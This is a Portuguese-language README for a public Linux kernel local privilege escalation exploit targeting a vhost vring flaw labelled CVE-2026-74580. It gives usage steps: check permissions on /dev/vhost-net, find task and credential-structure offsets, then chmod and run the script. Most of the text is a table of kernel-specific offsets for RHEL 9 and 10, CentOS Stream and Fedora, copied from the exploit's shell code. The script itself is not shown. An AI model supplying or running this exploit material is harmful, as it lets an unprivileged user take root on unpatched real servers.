CVE-2026-74580 - LPE

CVE-2026-74580 vhost: redefinir o cache de metadados do vring na reconfiguração do vring - Exploit

Histórico do Exploit

Descobri esta vulnerabilidade três dias após ela ter sido reportada por outro pesquisador. No entanto, eu já havia desenvolvido o exploit e optei por não divulgá-lo até ter verificado que a maioria das distribuições Linux havia aplicado os patches necessários.

Como o Exploit Funciona

1. Verificar o status da vulnerabilidade: Verifique se a versão do kernel em execução é vulnerável e se as permissões em /dev/vhost-net e /dev/vhost-vsock estão definidas como 0660.
2. Identificar os offsets específicos do kernel: Se o sistema atender às condições acima, identifique os offsets específicos do kernel exigidos pelo exploit: OFF_DIVIDE, OFF_INIT_TASK, T_TASKS, T_PID, T_REAL_CRED e C_UID. Se esses offsets não estiverem listados na tabela de offsets do exploit, eles podem ser obtidos a partir de informações disponíveis publicamente. Certifique-se de usar informações correspondentes à versão exata do kernel.
3. Executar o exploit: Depois que todos os pré-requisitos forem atendidos, torne o script executável usando chmod +x CVE-2026-74580.sh e, em seguida, execute-o com ./CVE-2026-74580.sh. O exploit trata automaticamente das etapas restantes.

Versão Testada e Exploit Confirmado

RHEL 10.x

Kernel: 6.12 | cred.uid: 8

Símbolos de rebuilds 1:1 do AlmaLinux, Rocky Linux e CentOS Stream do mesmo NVR.

6.12.0-211.47.1.el10_2.x86_64)  echo  0x1001030  0x2212940  2624  2832  3352  8 ;;  # RHEL 10.2 vuln
6.12.0-211.7.1.el10_2.x86_64)   echo  0x1001030  0x2212940  2624  2832  3352  8 ;;  # RHEL 10.2 vuln
6.12.0-124.8.1.el10_1.x86_64)   echo  0x1001030  0x2010940  2560  2768  3288  8 ;;  # RHEL 10.1 vuln
6.12.0-55.9.1.el10_0.x86_64)    echo  0x1001030  0x2010940  2544  2752  3272  8 ;;  # RHEL 10.0 vuln
6.12.0-248.el10.x86_64)         echo  0x1001030  0x2212900  2624  2832  3352  8 ;;  # CentOS Stream 10 vuln

RHEL 9.x

Kernel: 5.14 | cred.uid: 4

5.14.0-734.el9.x86_64)          echo  0xe00930  0x1e1a900  2544  2744  3248  4 ;;  # CentOS Stream 9
5.14.0-731.el9.x86_64)          echo  0xe00930  0x1e1a900  2544  2744  3248  4 ;;  # CentOS Stream 9
5.14.0-687.44.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.36.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.39.1.el9_8.x86_64)   echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-687.5.1.el9_8.x86_64)    echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.8 vuln
5.14.0-611.5.1.el9_7.x86_64)    echo  0xe00930  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.7 vuln
5.14.0-570.12.1.el9_6.x86_64)   echo  0xe00940  0x1e1a8c0  2544  2744  3248  4 ;;  # RHEL 9.6 vuln
5.14.0-503.11.1.el9_5.x86_64)   echo  0xe00940  0x1e1a8c0  2512  2712  3216  4 ;;  # RHEL 9.5 vuln
5.14.0-427.13.1.el9_4.x86_64)   echo  0xe00950  0x1c1a940  2512  2752  3256  4 ;;  # RHEL 9.4 vuln
5.14.0-362.8.1.el9_3.x86_64)    echo  0xe00910  0x1c1a940  2512  2776  3280  4 ;;  # RHEL 9.3 vuln
5.14.0-284.11.1.el9_2.x86_64)   echo  0xc008f0  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.2 vuln
5.14.0-162.6.1.el9_1.x86_64)    echo  0xc008f0  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.1 vuln
5.14.0-70.13.1.el9_0.x86_64)    echo  0xc00860  0x1a1a940  2424  2688  3192  4 ;;  # RHEL 9.0 vuln

Fedora

6.19.10-300.fc44.x86_64)        echo  0x1030  0x2a131c0  2560  2768  3288  8 ;;  # Fedora 44